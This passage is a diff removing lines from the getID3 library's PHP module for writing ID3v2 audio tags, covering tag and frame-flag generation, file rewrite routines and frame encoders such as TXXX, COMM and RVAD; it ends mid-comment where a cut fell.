b/vendor/james-heinrich/getid3/getid3/write.id3v2.php @@ -1,2328 +1,2328 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -/// // -// write.id3v2.php // -// module for writing ID3v2 tags // -// dependencies: module.tag.id3v2.php // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} -getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true); - -class getid3_write_id3v2 -{ - /** - * @var string - */ - public $filename; - - /** - * @var array|null - */ - public $tag_data; - - /** - * Read buffer size in bytes. - * - * @var int - */ - public $fread_buffer_size = 32768; - - /** - * Minimum length of ID3v2 tag in bytes. - * - * @var int - */ - public $paddedlength = 4096; - - /** - * ID3v2 major version (2, 3 (recommended), 4). - * - * @var int - */ - public $majorversion = 3; - - /** - * ID3v2 minor version - always 0. - * - * @var int - */ - public $minorversion = 0; - - /** - * If true, merge new data with existing tags; if false, delete old tag data and only write new tags. - * - * @var bool - */ - public $merge_existing_data = false; - - /** - * Default text encoding (ISO-8859-1) if not explicitly passed. - * - * @var int - */ - public $id3v2_default_encodingid = 0; - - /** - * The specs say it should be TRUE, but most other ID3v2-aware programs are broken if unsynchronization is used, - * so by default don't use it. - * - * @var bool - */ - public $id3v2_use_unsynchronisation = false; - - /** - * Any non-critical errors will be stored here. - * - * @var array - */ - public $warnings = array(); - - /** - * Any critical errors will be stored here. - * - * @var array - */ - public $errors = array(); - - public function __construct() { - } - - /** - * @return bool - */ - public function WriteID3v2() { - // File MUST be writeable - CHMOD(646) at least. It's best if the - // directory is also writeable, because that method is both faster and less susceptible to errors. - - if (!empty($this->filename) && (getID3::is_writable($this->filename) || (!file_exists($this->filename) && getID3::is_writable(dirname($this->filename))))) { - // Initialize getID3 engine - $getID3 = new getID3; - $OldThisFileInfo = $getID3->analyze($this->filename); - if (!getid3_lib::intValueSupported($OldThisFileInfo['filesize'])) { - $this->errors[] = 'Unable to write ID3v2 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB'; - return false; - } - if ($this->merge_existing_data) { - // merge with existing data - if (!empty($OldThisFileInfo['id3v2'])) { - $this->tag_data = $this->array_join_merge($OldThisFileInfo['id3v2'], $this->tag_data); - } - } - $this->paddedlength = (isset($OldThisFileInfo['id3v2']['headerlength']) ? max($OldThisFileInfo['id3v2']['headerlength'], $this->paddedlength) : $this->paddedlength); - - if ($NewID3v2Tag = $this->GenerateID3v2Tag()) { - - if (file_exists($this->filename) && getID3::is_writable($this->filename) && isset($OldThisFileInfo['id3v2']['headerlength']) && ($OldThisFileInfo['id3v2']['headerlength'] == strlen($NewID3v2Tag))) { - - // best and fastest method - insert-overwrite existing tag (padded to length of old tag if neccesary) - if (file_exists($this->filename)) { - - if (is_readable($this->filename) && getID3::is_writable($this->filename) && is_file($this->filename) && ($fp = fopen($this->filename, 'r+b'))) { - rewind($fp); - fwrite($fp, $NewID3v2Tag, strlen($NewID3v2Tag)); - fclose($fp); - } else { - $this->errors[] = 'Could not fopen("'.$this->filename.'", "r+b")'; - } - - } else { - - if (getID3::is_writable($this->filename) && is_file($this->filename) && ($fp = fopen($this->filename, 'wb'))) { - rewind($fp); - fwrite($fp, $NewID3v2Tag, strlen($NewID3v2Tag)); - fclose($fp); - } else { - $this->errors[] = 'Could not fopen("'.$this->filename.'", "wb")'; - } - - } - - } else { - - if ($tempfilename = tempnam(GETID3_TEMP_DIR, 'getID3')) { - if (is_readable($this->filename) && is_file($this->filename) && ($fp_source = fopen($this->filename, 'rb'))) { - if (getID3::is_writable($tempfilename) && is_file($tempfilename) && ($fp_temp = fopen($tempfilename, 'wb'))) { - - fwrite($fp_temp, $NewID3v2Tag, strlen($NewID3v2Tag)); - - rewind($fp_source); - if (!empty($OldThisFileInfo['avdataoffset'])) { - fseek($fp_source, $OldThisFileInfo['avdataoffset']); - } - - while ($buffer = fread($fp_source, $this->fread_buffer_size)) { - fwrite($fp_temp, $buffer, strlen($buffer)); - } - - fclose($fp_temp); - fclose($fp_source); - copy($tempfilename, $this->filename); - unlink($tempfilename); - return true; - - } else { - $this->errors[] = 'Could not fopen("'.$tempfilename.'", "wb")'; - } - fclose($fp_source); - - } else { - $this->errors[] = 'Could not fopen("'.$this->filename.'", "rb")'; - } - } - return false; - - } - - } else { - - $this->errors[] = '$this->GenerateID3v2Tag() failed'; - - } - - if (!empty($this->errors)) { - return false; - } - return true; - } else { - $this->errors[] = 'WriteID3v2() failed: !is_writeable('.$this->filename.')'; - } - return false; - } - - /** - * @return bool - */ - public function RemoveID3v2() { - // File MUST be writeable - CHMOD(646) at least. It's best if the - // directory is also writeable, because that method is both faster and less susceptible to errors. - if (getID3::is_writable(dirname($this->filename))) { - - // preferred method - only one copying operation, minimal chance of corrupting - // original file if script is interrupted, but required directory to be writeable - if (is_readable($this->filename) && is_file($this->filename) && ($fp_source = fopen($this->filename, 'rb'))) { - - // Initialize getID3 engine - $getID3 = new getID3; - $OldThisFileInfo = $getID3->analyze($this->filename); - if (!getid3_lib::intValueSupported($OldThisFileInfo['filesize'])) { - $this->errors[] = 'Unable to remove ID3v2 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB'; - fclose($fp_source); - return false; - } - rewind($fp_source); - if ($OldThisFileInfo['avdataoffset'] !== false) { - fseek($fp_source, $OldThisFileInfo['avdataoffset']); - } - if (getID3::is_writable($this->filename) && is_file($this->filename) && ($fp_temp = fopen($this->filename.'getid3tmp', 'w+b'))) { - while ($buffer = fread($fp_source, $this->fread_buffer_size)) { - fwrite($fp_temp, $buffer, strlen($buffer)); - } - fclose($fp_temp); - } else { - $this->errors[] = 'Could not fopen("'.$this->filename.'getid3tmp", "w+b")'; - } - fclose($fp_source); - } else { - $this->errors[] = 'Could not fopen("'.$this->filename.'", "rb")'; - } - if (file_exists($this->filename)) { - unlink($this->filename); - } - rename($this->filename.'getid3tmp', $this->filename); - - } elseif (getID3::is_writable($this->filename)) { - - // less desirable alternate method - double-copies the file, overwrites original file - // and could corrupt source file if the script is interrupted or an error occurs. - if (is_readable($this->filename) && is_file($this->filename) && ($fp_source = fopen($this->filename, 'rb'))) { - - // Initialize getID3 engine - $getID3 = new getID3; - $OldThisFileInfo = $getID3->analyze($this->filename); - if (!getid3_lib::intValueSupported($OldThisFileInfo['filesize'])) { - $this->errors[] = 'Unable to remove ID3v2 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB'; - fclose($fp_source); - return false; - } - rewind($fp_source); - if ($OldThisFileInfo['avdataoffset'] !== false) { - fseek($fp_source, $OldThisFileInfo['avdataoffset']); - } - if ($fp_temp = tmpfile()) { - while ($buffer = fread($fp_source, $this->fread_buffer_size)) { - fwrite($fp_temp, $buffer, strlen($buffer)); - } - fclose($fp_source); - if (getID3::is_writable($this->filename) && is_file($this->filename) && ($fp_source = fopen($this->filename, 'wb'))) { - rewind($fp_temp); - while ($buffer = fread($fp_temp, $this->fread_buffer_size)) { - fwrite($fp_source, $buffer, strlen($buffer)); - } - fseek($fp_temp, -128, SEEK_END); - fclose($fp_source); - } else { - $this->errors[] = 'Could not fopen("'.$this->filename.'", "wb")'; - } - fclose($fp_temp); - } else { - $this->errors[] = 'Could not create tmpfile()'; - } - } else { - $this->errors[] = 'Could not fopen("'.$this->filename.'", "rb")'; - } - - } else { - - $this->errors[] = 'Directory and file both not writeable'; - - } - - if (!empty($this->errors)) { - return false; - } - return true; - } - - /** - * @param array $flags - * - * @return string|false - */ - public function GenerateID3v2TagFlags($flags) { - $flag = null; - switch ($this->majorversion) { - case 4: - // %abcd0000 - $flag = (!empty($flags['unsynchronisation']) ? '1' : '0'); // a - Unsynchronisation - $flag .= (!empty($flags['extendedheader'] ) ? '1' : '0'); // b - Extended header - $flag .= (!empty($flags['experimental'] ) ? '1' : '0'); // c - Experimental indicator - $flag .= (!empty($flags['footer'] ) ? '1' : '0'); // d - Footer present - $flag .= '0000'; - break; - - case 3: - // %abc00000 - $flag = (!empty($flags['unsynchronisation']) ? '1' : '0'); // a - Unsynchronisation - $flag .= (!empty($flags['extendedheader'] ) ? '1' : '0'); // b - Extended header - $flag .= (!empty($flags['experimental'] ) ? '1' : '0'); // c - Experimental indicator - $flag .= '00000'; - break; - - case 2: - // %ab000000 - $flag = (!empty($flags['unsynchronisation']) ? '1' : '0'); // a - Unsynchronisation - $flag .= (!empty($flags['compression'] ) ? '1' : '0'); // b - Compression - $flag .= '000000'; - break; - - default: - return false; - } - return chr(bindec($flag)); - } - - /** - * @param bool $TagAlter - * @param bool $FileAlter - * @param bool $ReadOnly - * @param bool $Compression - * @param bool $Encryption - * @param bool $GroupingIdentity - * @param bool $Unsynchronisation - * @param bool $DataLengthIndicator - * - * @return string|false - */ - public function GenerateID3v2FrameFlags($TagAlter=false, $FileAlter=false, $ReadOnly=false, $Compression=false, $Encryption=false, $GroupingIdentity=false, $Unsynchronisation=false, $DataLengthIndicator=false) { - $flag1 = null; - $flag2 = null; - switch ($this->majorversion) { - case 4: - // %0abc0000 %0h00kmnp - $flag1 = '0'; - $flag1 .= $TagAlter ? '1' : '0'; // a - Tag alter preservation (true == discard) - $flag1 .= $FileAlter ? '1' : '0'; // b - File alter preservation (true == discard) - $flag1 .= $ReadOnly ? '1' : '0'; // c - Read only (true == read only) - $flag1 .= '0000'; - - $flag2 = '0'; - $flag2 .= $GroupingIdentity ? '1' : '0'; // h - Grouping identity (true == contains group information) - $flag2 .= '00'; - $flag2 .= $Compression ? '1' : '0'; // k - Compression (true == compressed) - $flag2 .= $Encryption ? '1' : '0'; // m - Encryption (true == encrypted) - $flag2 .= $Unsynchronisation ? '1' : '0'; // n - Unsynchronisation (true == unsynchronised) - $flag2 .= $DataLengthIndicator ? '1' : '0'; // p - Data length indicator (true == data length indicator added) - break; - - case 3: - // %abc00000 %ijk00000 - $flag1 = $TagAlter ? '1' : '0'; // a - Tag alter preservation (true == discard) - $flag1 .= $FileAlter ? '1' : '0'; // b - File alter preservation (true == discard) - $flag1 .= $ReadOnly ? '1' : '0'; // c - Read only (true == read only) - $flag1 .= '00000'; - - $flag2 = $Compression ? '1' : '0'; // i - Compression (true == compressed) - $flag2 .= $Encryption ? '1' : '0'; // j - Encryption (true == encrypted) - $flag2 .= $GroupingIdentity ? '1' : '0'; // k - Grouping identity (true == contains group information) - $flag2 .= '00000'; - break; - - default: - return false; - - } - return chr(bindec($flag1)).chr(bindec($flag2)); - } - - /** - * @param string $frame_name - * @param array $source_data_array - * - * @return string|false - */ - public function GenerateID3v2FrameData($frame_name, $source_data_array) { - if (!getid3_id3v2::IsValidID3v2FrameName($frame_name, $this->majorversion)) { - return false; - } - $framedata = ''; - - if (($this->majorversion < 3) || ($this->majorversion > 4)) { - - $this->errors[] = 'Only ID3v2.3 and ID3v2.4 are supported in GenerateID3v2FrameData()'; - - } else { // $this->majorversion 3 or 4 - - switch ($frame_name) { - case 'UFID': - // 4.1 UFID Unique file identifier - // Owner identifier $00 - // Identifier - if (strlen($source_data_array['data']) > 64) { - $this->errors[] = 'Identifier not allowed to be longer than 64 bytes in '.$frame_name.' (supplied data was '.strlen($source_data_array['data']).' bytes long)'; - } else { - $framedata .= str_replace("\x00", '', $source_data_array['ownerid'])."\x00"; - $framedata .= substr($source_data_array['data'], 0, 64); // max 64 bytes - truncate anything longer - } - break; - - case 'TXXX': - // 4.2.2 TXXX User defined text information frame - // Text encoding $xx - // Description $00 (00) - // Value - $source_data_array['encodingid'] = (isset($source_data_array['encodingid']) ? $source_data_array['encodingid'] : $this->id3v2_default_encodingid); - if (!$this->ID3v2IsValidTextEncoding($source_data_array['encodingid'])) { - $this->errors[] = 'Invalid Text Encoding in '.$frame_name.' ('.$source_data_array['encodingid'].') for ID3v2.'.$this->majorversion; - } else { - $framedata .= chr($source_data_array['encodingid']); - $framedata .= $source_data_array['description'].getid3_id3v2::TextEncodingTerminatorLookup($source_data_array['encodingid']); - $framedata .= $source_data_array['data']; - } - break; - - case 'WXXX': - // 4.3.2 WXXX User defined URL link frame - // Text encoding $xx - // Description $00 (00) - // URL - $source_data_array['encodingid'] = (isset($source_data_array['encodingid']) ? $source_data_array['encodingid'] : $this->id3v2_default_encodingid); - if (!$this->ID3v2IsValidTextEncoding($source_data_array['encodingid'])) { - $this->errors[] = 'Invalid Text Encoding in '.$frame_name.' ('.$source_data_array['encodingid'].') for ID3v2.'.$this->majorversion; - } elseif (!isset($source_data_array['data']) || !$this->IsValidURL($source_data_array['data'], false)) { - //$this->errors[] = 'Invalid URL in '.$frame_name.' ('.$source_data_array['data'].')'; - // probably should be an error, need to rewrite IsValidURL() to handle other encodings - $this->warnings[] = 'Invalid URL in '.$frame_name.' ('.$source_data_array['data'].')'; - } else { - $framedata .= chr($source_data_array['encodingid']); - $framedata .= $source_data_array['description'].getid3_id3v2::TextEncodingTerminatorLookup($source_data_array['encodingid']); - $framedata .= $source_data_array['data']; - } - break; - - case 'IPLS': - // 4.4 IPLS Involved people list (ID3v2.3 only) - // Text encoding $xx - // People list strings - $source_data_array['encodingid'] = (isset($source_data_array['encodingid']) ? $source_data_array['encodingid'] : $this->id3v2_default_encodingid); - if (!$this->ID3v2IsValidTextEncoding($source_data_array['encodingid'])) { - $this->errors[] = 'Invalid Text Encoding in '.$frame_name.' ('.$source_data_array['encodingid'].') for ID3v2.'.$this->majorversion; - } else { - $framedata .= chr($source_data_array['encodingid']); - $framedata .= $source_data_array['data']; - } - break; - - case 'MCDI': - // 4.4 MCDI Music CD identifier - // CD TOC - $framedata .= $source_data_array['data']; - break; - - case 'ETCO': - // 4.5 ETCO Event timing codes - // Time stamp format $xx - // Where time stamp format is: - // $01 (32-bit value) MPEG frames from beginning of file - // $02 (32-bit value) milliseconds from beginning of file - // Followed by a list of key events in the following format: - // Type of event $xx - // Time stamp $xx (xx ...) - // The 'Time stamp' is set to zero if directly at the beginning of the sound - // or after the previous event. All events MUST be sorted in chronological order. - if (($source_data_array['timestampformat'] > 2) || ($source_data_array['timestampformat'] < 1)) { - $this->errors[] = 'Invalid Time Stamp Format byte in '.$frame_name.' ('.$source_data_array['timestampformat'].')'; - } else { - $framedata .= chr($source_data_array['timestampformat']); - foreach ($source_data_array as $key => $val) { - if (!$this->ID3v2IsValidETCOevent($val['typeid'])) { - $this->errors[] = 'Invalid Event Type byte in '.$frame_name.' ('.$val['typeid'].')'; - } elseif (($key != 'timestampformat') && ($key != 'flags')) { - if (($val['timestamp'] > 0) && isset($previousETCOtimestamp) && ($previousETCOtimestamp >= $val['timestamp'])) { - // The 'Time stamp' is set to zero if directly at the beginning of the sound - // or after the previous event. All events MUST be sorted in chronological order. - $this->errors[] = 'Out-of-order timestamp in '.$frame_name.' ('.$val['timestamp'].') for Event Type ('.$val['typeid'].')'; - } else { - $framedata .= chr($val['typeid']); - $framedata .= getid3_lib::BigEndian2String($val['timestamp'], 4, false); - $previousETCOtimestamp = $val['timestamp']; - } - } - } - } - break; - - case 'MLLT': - // 4.6 MLLT MPEG location lookup table - // MPEG frames between reference $xx xx - // Bytes between reference $xx xx xx - // Milliseconds between reference $xx xx xx - // Bits for bytes deviation $xx - // Bits for milliseconds dev. $xx - // Then for every reference the following data is included; - // Deviation in bytes %xxx.... - // Deviation in milliseconds %xxx.... - if (($source_data_array['framesbetweenreferences'] > 0) && ($source_data_array['framesbetweenreferences'] <= 65535)) { - $framedata .= getid3_lib::BigEndian2String($source_data_array['framesbetweenreferences'], 2, false); - } else { - $this->errors[] = 'Invalid MPEG Frames Between References in '.$frame_name.' ('.$source_data_array['framesbetweenreferences'].')'; - } - if (($source_data_array['bytesbetweenreferences'] > 0) && ($source_data_array['bytesbetweenreferences'] <= 16777215)) { - $framedata .= getid3_lib::BigEndian2String($source_data_array['bytesbetweenreferences'], 3, false); - } else { - $this->errors[] = 'Invalid bytes Between References in '.$frame_name.' ('.$source_data_array['bytesbetweenreferences'].')'; - } - if (($source_data_array['msbetweenreferences'] > 0) && ($source_data_array['msbetweenreferences'] <= 16777215)) { - $framedata .= getid3_lib::BigEndian2String($source_data_array['msbetweenreferences'], 3, false); - } else { - $this->errors[] = 'Invalid Milliseconds Between References in '.$frame_name.' ('.$source_data_array['msbetweenreferences'].')'; - } - if (!$this->IsWithinBitRange($source_data_array['bitsforbytesdeviation'], 8, false)) { - if (($source_data_array['bitsforbytesdeviation'] % 4) == 0) { - $framedata .= chr($source_data_array['bitsforbytesdeviation']); - } else { - $this->errors[] = 'Bits For Bytes Deviation in '.$frame_name.' ('.$source_data_array['bitsforbytesdeviation'].') must be a multiple of 4.'; - } - } else { - $this->errors[] = 'Invalid Bits For Bytes Deviation in '.$frame_name.' ('.$source_data_array['bitsforbytesdeviation'].')'; - } - if (!$this->IsWithinBitRange($source_data_array['bitsformsdeviation'], 8, false)) { - if (($source_data_array['bitsformsdeviation'] % 4) == 0) { - $framedata .= chr($source_data_array['bitsformsdeviation']); - } else { - $this->errors[] = 'Bits For Milliseconds Deviation in '.$frame_name.' ('.$source_data_array['bitsforbytesdeviation'].') must be a multiple of 4.'; - } - } else { - $this->errors[] = 'Invalid Bits For Milliseconds Deviation in '.$frame_name.' ('.$source_data_array['bitsformsdeviation'].')'; - } - $unwrittenbitstream = ''; - foreach ($source_data_array as $key => $val) { - if (($key != 'framesbetweenreferences') && ($key != 'bytesbetweenreferences') && ($key != 'msbetweenreferences') && ($key != 'bitsforbytesdeviation') && ($key != 'bitsformsdeviation') && ($key != 'flags')) { - $unwrittenbitstream .= str_pad(getid3_lib::Dec2Bin($val['bytedeviation']), $source_data_array['bitsforbytesdeviation'], '0', STR_PAD_LEFT); - $unwrittenbitstream .= str_pad(getid3_lib::Dec2Bin($val['msdeviation']), $source_data_array['bitsformsdeviation'], '0', STR_PAD_LEFT); - } - } - for ($i = 0; $i < strlen($unwrittenbitstream); $i += 8) { - $highnibble = bindec(substr($unwrittenbitstream, $i, 4)) << 4; - $lownibble = bindec(substr($unwrittenbitstream, $i + 4, 4)); - $framedata .= chr($highnibble & $lownibble); - } - break; - - case 'SYTC': - // 4.7 SYTC Synchronised tempo codes - // Time stamp format $xx - // Tempo data - // Where time stamp format is: - // $01 (32-bit value) MPEG frames from beginning of file - // $02 (32-bit value) milliseconds from beginning of file - if (($source_data_array['timestampformat'] > 2) || ($source_data_array['timestampformat'] < 1)) { - $this->errors[] = 'Invalid Time Stamp Format byte in '.$frame_name.' ('.$source_data_array['timestampformat'].')'; - } else { - $framedata .= chr($source_data_array['timestampformat']); - foreach ($source_data_array as $key => $val) { - if (!$this->ID3v2IsValidETCOevent($val['typeid'])) { - $this->errors[] = 'Invalid Event Type byte in '.$frame_name.' ('.$val['typeid'].')'; - } elseif (($key != 'timestampformat') && ($key != 'flags')) { - if (($val['tempo'] < 0) || ($val['tempo'] > 510)) { - $this->errors[] = 'Invalid Tempo (max = 510) in '.$frame_name.' ('.$val['tempo'].') at timestamp ('.$val['timestamp'].')'; - } else { - if ($val['tempo'] > 255) { - $framedata .= chr(255); - $val['tempo'] -= 255; - } - $framedata .= chr($val['tempo']); - $framedata .= getid3_lib::BigEndian2String($val['timestamp'], 4, false); - } - } - } - } - break; - - case 'USLT': - // 4.8 USLT Unsynchronised lyric/text transcription - // Text encoding $xx - // Language $xx xx xx - // Content descriptor $00 (00) - // Lyrics/text - $source_data_array['encodingid'] = (isset($source_data_array['encodingid']) ? $source_data_array['encodingid'] : $this->id3v2_default_encodingid); - if (!$this->ID3v2IsValidTextEncoding($source_data_array['encodingid'])) { - $this->errors[] = 'Invalid Text Encoding in '.$frame_name.' ('.$source_data_array['encodingid'].') for ID3v2.'.$this->majorversion; - } elseif (getid3_id3v2::LanguageLookup($source_data_array['language'], true) == '') { - $this->errors[] = 'Invalid Language in '.$frame_name.' ('.$source_data_array['language'].')'; - } else { - $framedata .= chr($source_data_array['encodingid']); - $framedata .= strtolower($source_data_array['language']); - $framedata .= $source_data_array['description'].getid3_id3v2::TextEncodingTerminatorLookup($source_data_array['encodingid']); - $framedata .= $source_data_array['data']; - } - break; - - case 'SYLT': - // 4.9 SYLT Synchronised lyric/text - // Text encoding $xx - // Language $xx xx xx - // Time stamp format $xx - // $01 (32-bit value) MPEG frames from beginning of file - // $02 (32-bit value) milliseconds from beginning of file - // Content type $xx - // Content descriptor $00 (00) - // Terminated text to be synced (typically a syllable) - // Sync identifier (terminator to above string) $00 (00) - // Time stamp $xx (xx ...) - $source_data_array['encodingid'] = (isset($source_data_array['encodingid']) ? $source_data_array['encodingid'] : $this->id3v2_default_encodingid); - if (!$this->ID3v2IsValidTextEncoding($source_data_array['encodingid'])) { - $this->errors[] = 'Invalid Text Encoding in '.$frame_name.' ('.$source_data_array['encodingid'].') for ID3v2.'.$this->majorversion; - } elseif (getid3_id3v2::LanguageLookup($source_data_array['language'], true) == '') { - $this->errors[] = 'Invalid Language in '.$frame_name.' ('.$source_data_array['language'].')'; - } elseif (($source_data_array['timestampformat'] > 2) || ($source_data_array['timestampformat'] < 1)) { - $this->errors[] = 'Invalid Time Stamp Format byte in '.$frame_name.' ('.$source_data_array['timestampformat'].')'; - } elseif (!$this->ID3v2IsValidSYLTtype($source_data_array['contenttypeid'])) { - $this->errors[] = 'Invalid Content Type byte in '.$frame_name.' ('.$source_data_array['contenttypeid'].')'; - } elseif (!is_array($source_data_array['data'])) { - $this->errors[] = 'Invalid Lyric/Timestamp data in '.$frame_name.' (must be an array)'; - } else { - $framedata .= chr($source_data_array['encodingid']); - $framedata .= strtolower($source_data_array['language']); - $framedata .= chr($source_data_array['timestampformat']); - $framedata .= chr($source_data_array['contenttypeid']); - $framedata .= $source_data_array['description'].getid3_id3v2::TextEncodingTerminatorLookup($source_data_array['encodingid']); - ksort($source_data_array['data']); - foreach ($source_data_array['data'] as $key => $val) { - $framedata .= $val['data'].getid3_id3v2::TextEncodingTerminatorLookup($source_data_array['encodingid']); - $framedata .= getid3_lib::BigEndian2String($val['timestamp'], 4, false); - } - } - break; - - case 'COMM': - // 4.10 COMM Comments - // Text encoding $xx - // Language $xx xx xx - // Short content descrip. $00 (00) - // The actual text - $source_data_array['encodingid'] = (isset($source_data_array['encodingid']) ? $source_data_array['encodingid'] : $this->id3v2_default_encodingid); - if (!$this->ID3v2IsValidTextEncoding($source_data_array['encodingid'])) { - $this->errors[] = 'Invalid Text Encoding in '.$frame_name.' ('.$source_data_array['encodingid'].') for ID3v2.'.$this->majorversion; - } elseif (getid3_id3v2::LanguageLookup($source_data_array['language'], true) == '') { - $this->errors[] = 'Invalid Language in '.$frame_name.' ('.$source_data_array['language'].')'; - } else { - $framedata .= chr($source_data_array['encodingid']); - $framedata .= strtolower($source_data_array['language']); - $framedata .= $source_data_array['description'].getid3_id3v2::TextEncodingTerminatorLookup($source_data_array['encodingid']); - $framedata .= $source_data_array['data']; - } - break; - - case 'RVA2': - // 4.11 RVA2 Relative volume adjustment (2) (ID3v2.4+ only) - // Identification $00 - // The 'identification' string is used to identify the situation and/or - // device where this adjustment should apply. The following is then - // repeated for every channel: - // Type of channel $xx - // Volume adjustment $xx xx - // Bits representing peak $xx - // Peak volume $xx (xx ...) - $framedata .= str_replace("\x00", '', $source_data_array['description'])."\x00"; - foreach ($source_data_array as $key => $val) { - if ($key != 'description') { - $framedata .= chr($val['channeltypeid']); - $framedata .= getid3_lib::BigEndian2String($val['volumeadjust'], 2, false, true); // signed 16-bit - if (!$this->IsWithinBitRange($source_data_array['bitspeakvolume'], 8, false)) { - $framedata .= chr($val['bitspeakvolume']); - if ($val['bitspeakvolume'] > 0) { - $framedata .= getid3_lib::BigEndian2String($val['peakvolume'], ceil($val['bitspeakvolume'] / 8), false, false); - } - } else { - $this->errors[] = 'Invalid Bits Representing Peak Volume in '.$frame_name.' ('.$val['bitspeakvolume'].') (range = 0 to 255)'; - } - } - } - break; - - case 'RVAD': - // 4.12 RVAD Relative volume adjustment (ID3v2.3 only) - // Increment/decrement %00fedcba - // Bits used for volume descr. $xx - // Relative volume change, right $xx xx (xx ...) // a - // Relative volume change, left $xx xx (xx ...) // b - // Peak volume right $xx xx (xx ...) - // Peak volume left $xx xx (xx ...) - // Relative volume change, right back $xx xx (xx ...) // c - // Relative volume change, left back $xx xx (xx ...) // d - // Peak volume right back $xx xx (xx ...) - // Peak volume left back $xx xx (xx ...) - // Relative volume change, center $xx xx (xx ...) // e - // Peak volume center $xx xx (xx ...) - // Relative volume change, bass $xx xx (xx ...) // f - // Peak volume bass $xx xx (xx ...) - if (!$this->IsWithinBitRange($source_data_array['bitsvolume'], 8, false)) { - $this->errors[] = 'Invalid Bits For Volume Description byte in '.$frame_name.' ('.$source_data_array['bitsvolume'].') (range = 1 to 255)'; - } else { - $incdecflag = '00'; - $incdecflag .= $source_data_array['incdec']['right'] ? '1' : '0'; // a - Relative volume change, right - $incdecflag .= $source_data_array['incdec']['left'] ? '1' : '0'; // b - Relative volume change, left - $incdecflag .= $source_data_array['incdec']['rightrear'] ? '1' : '0'; // c - Relative volume change, right back - $incdecflag .= $source_data_array['incdec']['leftrear'] ? '1' : '0'; // d - Relative volume change, left back - $incdecflag .= $source_data_array['incdec']['center'] ? '1' : '0'; // e - Relative volume change, center - $incdecflag .= $source_data_array['incdec']['bass'] ? '1' : '0'; // f - Relative volume change, bass - $framedata .= chr(bindec($incdecflag)); - $framedata .= chr($source_data_array['bitsvolume']); - $framedata .= getid3_lib::BigEndian2String($source_data_array['volumechange']['right'], ceil($source_data_array['bitsvolume'] / 8), false); - $framedata .= getid3_lib::BigEndian2String($source_data_array['volumechange']['left'], ceil($source_data_array['bitsvolume'] / 8), false); - $framedata .= getid3_lib::BigEndian2String($source_data_array['peakvolume']['right'], ceil($source_data_array['bitsvolume'] / 8), false); - $framedata .= getid3_lib::BigEndian2String($source_data_array['peakvolume']['left'], ceil($source_data_array['bitsvolume'] / 8), false); - if ($source_data_array['volumechange']['rightrear'] || $source_data_array['volumechange']['leftrear'] || - $source_data_array['peakvolume']['rightrear'] || $source_data_array['peakvolume']['leftrear'] || - $source_data_array['volumechange']['center'] || $source_data_array['peakvolume']['center'] || - $source_data_array['volumechange']['bass'] || $source_data_array['peakvolume']['bass']) { - $framedata .= getid3_lib::BigEndian2String($source_data_array['volumechange']['rightrear'], ceil($source_data_array['bitsvolume']/8), false); - $framedata .= getid3_lib::BigEndian2String($source_data_array['volumechange']['leftrear'], ceil($source_data_array['bitsvolume']/8), false); - $framedata .= getid3_lib::BigEndian2String($source_data_array['peakvolume']['rightrear'], ceil($source_data_array['bitsvolume']/8), false); - $framedata .= getid3_lib::BigEndian2String($source_data_array['peakvolume']['leftrear'], ceil($source_data_array['bitsvolume']/8), false); - } - if ($source_data_array['volumechange']['center'] || $source_data_array['peakvolume']['center'] || - $source_data_array['volumechange']['bass'] || $source_data_array['peakvolume']['bass']) { - $framedata .= getid3_lib::BigEndian2String($source_data_array['volumechange']['center'], ceil($source_data_array['bitsvolume']/8), false); - $framedata .= getid3_lib::BigEndian2String($source_data_array['peakvolume']['center'], ceil($source_data_array['bitsvolume']/8), false); - } - if ($source_data_array['volumechange']['bass'] || $source_data_array['peakvolume']['bass']) { - $framedata .= getid3_lib::BigEndian2String($source_data_array['volumechange']['bass'], ceil($source_data_array['bitsvolume']/8), false); - $framedata .= getid3_lib::BigEndian2String($source_data_array['peakvolume']['bass'], ceil($source_data_array['bitsvolume']/8), false); - } - } - break; - - case 'EQU2': - // 4.12 EQU2 Equalisation (2) (ID3v2.4+ only) - // Interpolation method $xx - // $00 Band - // $01 Linear - // Identification $00 - // The following is then repeated for every adjustment point - // Frequency $xx xx - // Volume adjustment $xx xx - if (($source_data_array['interpolationmethod'] < 0) || ($source_data_array['interpolationmethod'] > 1)) { - $this->errors[] = 'Invalid Interpolation Method byte in '.$frame_name.' ('.$source_data_array['interpolationmethod'].') (valid = 0 or 1)'; - } else { - $framedata .= chr($source_data_array['interpolationmethod']); - $framedata .= str_replace("\x00", '', $source_data_array['description'])."\x00"; - foreach ($source_data_array['data'] as $key => $val) { - $framedata .= getid3_lib::BigEndian2String(intval(round($key * 2)), 2, false); - $framedata .= getid3_lib::BigEndian2String($val, 2, false, true); // signed 16-bit - } - } - break; - - case 'EQUA': - // 4.12 EQUA Equalisation (ID3v2.3 only) - // Adjustment bits $xx - // This is followed by 2 bytes + ('adjustment bits' rounded up to the - // nearest byte) for every equalisation band in the following format, - // giving a frequency range of 0 - 32767Hz: - // Increment/decrement %x (MSB of the Frequency) - // Frequency (lower 15 bits) - // Adjustment $xx (xx ...) - if (!$this->IsWithinBitRange($source_data_array['bitsvolume'], 8, false)) { - $this->errors[] = 'Invalid Adjustment Bits byte in '.$frame_name.' ('.$source_data_array['bitsvolume'].') (range = 1 to 255)'; - } else { - $framedata .= chr($source_data_array['adjustmentbits']); - foreach ($source_data_array as $key => $val) { - if ($key != 'bitsvolume') { - if (($key > 32767) || ($key < 0)) { - $this->errors[] = 'Invalid Frequency in '.$frame_name.' ('.$key.') (range = 0 to 32767)'; - } else { - if ($val >= 0) { - // put MSB of frequency to 1 if increment, 0 if decrement - $key |= 0x8000; - } - $framedata .= getid3_lib::BigEndian2String($key, 2, false); - $framedata .= getid3_lib::BigEndian2String($val, ceil($source_data_array['adjustmentbits'] / 8), false); - } - } - } - } - break; - - case 'RVRB': - // 4.13 RVRB Reverb - // Reverb left (ms) $xx xx - // Reverb right (ms) $xx xx - // Reverb bounces, left $xx - // Reverb bounces, right $xx - // Reverb feedback, left to left $xx - // Reverb feedback, left to right $xx - // Reverb feedback, right to right $xx - // Reverb feedback, right to left $xx - // Premix left to right $xx - // Premix 